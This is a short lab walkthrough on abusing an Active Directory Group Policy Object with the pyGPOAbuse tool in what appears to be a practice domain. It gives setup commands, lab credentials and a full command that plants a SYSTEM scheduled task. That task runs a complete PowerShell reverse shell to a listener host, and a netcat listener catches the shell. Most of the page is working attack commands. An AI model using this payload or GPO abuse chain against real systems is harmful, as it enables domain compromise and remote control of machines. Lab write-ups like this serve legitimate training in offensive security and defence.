# GPO abuse

* There is a GPO abuse on the north domain

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FcGNvD3yHjjLSOM6eLmiA%2Fimage.png?alt=media&#x26;token=5026c3cc-298d-4b64-bbcb-4a5a9c8725f1" alt=""><figcaption></figcaption></figure>

* To abuse GPO we will use the project created by Hackndo : [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse)
* The github readme file say : *“It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.”*

```
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 -m pip install virtualenv
python3 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
```

\
We get the id from bloodhound and launch the exploit with :

Now let’s try to get a powershell reverseshell

```
python3 pygpoabuse.py north.NewYork.local/miguel.cabrera:'ilovebaseball' -gpo-id "628D4237-8B4A-42C3-8599-66EB15352C43" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.31',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "You are done"
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FsGhDFJQ75CrsdTxlqg3z%2Fimage.png?alt=media&#x26;token=109a8c81-3e7a-4349-8d48-1a1d898198db" alt=""><figcaption></figcaption></figure>

Catch the Shell - this needs to be done from the Lab Parrot OS VM.

```
nc -nlvp 4444
```

And a few moments later we get the powershell reverseshell

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FY3ffijPQnQvDcd8T9jxR%2Fimage.png?alt=media&#x26;token=ed98a9e3-f2e5-41d4-a082-8012a2caf413" alt=""><figcaption></figcaption></figure>
